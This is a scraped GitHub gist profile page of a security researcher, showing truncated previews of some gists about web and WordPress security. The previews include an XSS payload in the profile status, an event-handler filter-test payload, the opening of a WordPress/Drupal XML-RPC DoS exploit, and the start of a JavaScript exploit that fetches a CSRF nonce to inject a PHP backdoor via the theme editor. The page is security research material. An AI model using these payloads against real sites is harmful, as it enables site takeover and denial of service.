Skip to content

Instantly share code, notes, and snippets.

View ethicalhack3r's full-sized avatar
💭
"><img src=x onerror=alert('Github @ethicalhack3r')><"

Ryan Dewhurst ethicalhack3r

💭
"><img src=x onerror=alert('Github @ethicalhack3r')><"
1.2k followers · 9 following
View GitHub Profile
@ethicalhack3r
ethicalhack3r / html_test.html
Created March 6, 2017 11:10 — forked from rwestergren/html_test.html
HTML Email Filter Test
<a onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" o
@ethicalhack3r
ethicalhack3r / chrome-uri.txt
Last active February 20, 2024 03:02
Chrome 'protocol handlers' extracted from Google Chrome browser source code (chromium-50.0.2624.0.tar.xz downloaded from https://gsdview.appspot.com/chromium-browser-official/). A lot will not work, some are probably from unit tests.
chrome://-alkuisissa
chrome://-nettadresser
chrome://-webbadresser
chrome://ChromeTestChromeWebUIControllerFactory
chrome://DummyURL
chrome://URLs
chrome://about
chrome://accessibility
chrome://anything
chrome://app-list
@ethicalhack3r
ethicalhack3r / wp_dos.py
Created August 7, 2014 07:41
WP XML-RPC DoS Exploit
#################################################################################
# CVE-XXXXX Wordpress and Drupal XML Blowup Attack DoS#
# Author: Nir Goldshlager - Salesforce.com Product Security Team#
# This is a Proof of Concept Exploit, Please use responsibly.#
#################################################################################
#!/usr/bin/env python
from __future__ import print_function
import threading
import time
import urllib
@ethicalhack3r
ethicalhack3r / backdoor.js
Last active May 3, 2023 16:53
wp backdoor exploit (injects a PHP backdoor)
var wpnonce = '';
function getCSRFNonce(callback)
{
var re = /<input type="hidden" id="_wpnonce" name="_wpnonce" value="(\w*)" \/>/
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://mywordpress.com/wordpress/wordpress-475/wp-admin/theme-editor.php?file=index.php&theme=twentyseventeen", true);
xhr.withCredentials = true;
xhr.overrideMimeType('text/xml');
@ethicalhack3r
ethicalhack3r / events.txt
Last active March 3, 2023 07:41
List of event attributes
loadedstart
onabort
onafterprint
onanimationend
onanimationiteration
onanimationstart
onautocomplete
onautocompleteerror
onbeforecopy
onbeforecut
@ethicalhack3r
ethicalhack3r / info.text
Last active August 13, 2022 07:20
Simple WPScan commands
Get your API token from wpvulndb.com if you also want the vulnerabilities associated with the detected plugin displaying.
For all plugins with known vulnerabilities:
wpscan --url example.com -e vp --plugins-detection mixed --api-token YOUR_TOKEN
For all plugins in our database (could take a very long time):
wpscan --url example.com -e ap --plugins-detection mixed --api-token YOUR_TOKEN
@ethicalhack3r
ethicalhack3r / pluggable.php
Created November 18, 2014 15:41
WordPress authentication cookie generation using default keys
<?php
if ( !function_exists('wp_generate_auth_cookie') ) :
/**
* Generate authentication cookie contents.
*
* @since 2.5.0
*
* @param int $user_id User ID
* @param int $expiration Cookie expiration in seconds
@ethicalhack3r
ethicalhack3r / wp_php_object_injection.rb
Last active February 9, 2022 23:24
Burp Suite Extension to detect PHP Object Injection in WordPress Plugins (read the code comments for additional info)
java_import 'burp.IBurpExtender'
java_import 'burp.IScannerCheck'
java_import 'burp.IScanIssue'
require 'java'
java_import 'java.util.Arrays'
java_import 'java.util.ArrayList'
#
# You will need to download JRuby's Complete.jar file from http://jruby.org/download and configure Burp Extender with its path.
@ethicalhack3r
ethicalhack3r / magento_version.rb
Created December 12, 2016 11:09
Finds the remote version of magento
#!/usr/bin/env ruby
require 'typhoeus'
require 'json'
require 'uri'
require 'digest/md5'
# https://raw.githubusercontent.com/gwillem/magento-version-identification/master/version_hashes.json
target = ARGV[0]
@ethicalhack3r
ethicalhack3r / ids.txt
Created October 18, 2019 14:03
> select id from vulnerabilities where poc != '';
+------+
| id |
+------+
| 6028 |
| 6219 |
| 6499 |
| 6548 |
| 7680 |
| 7710 |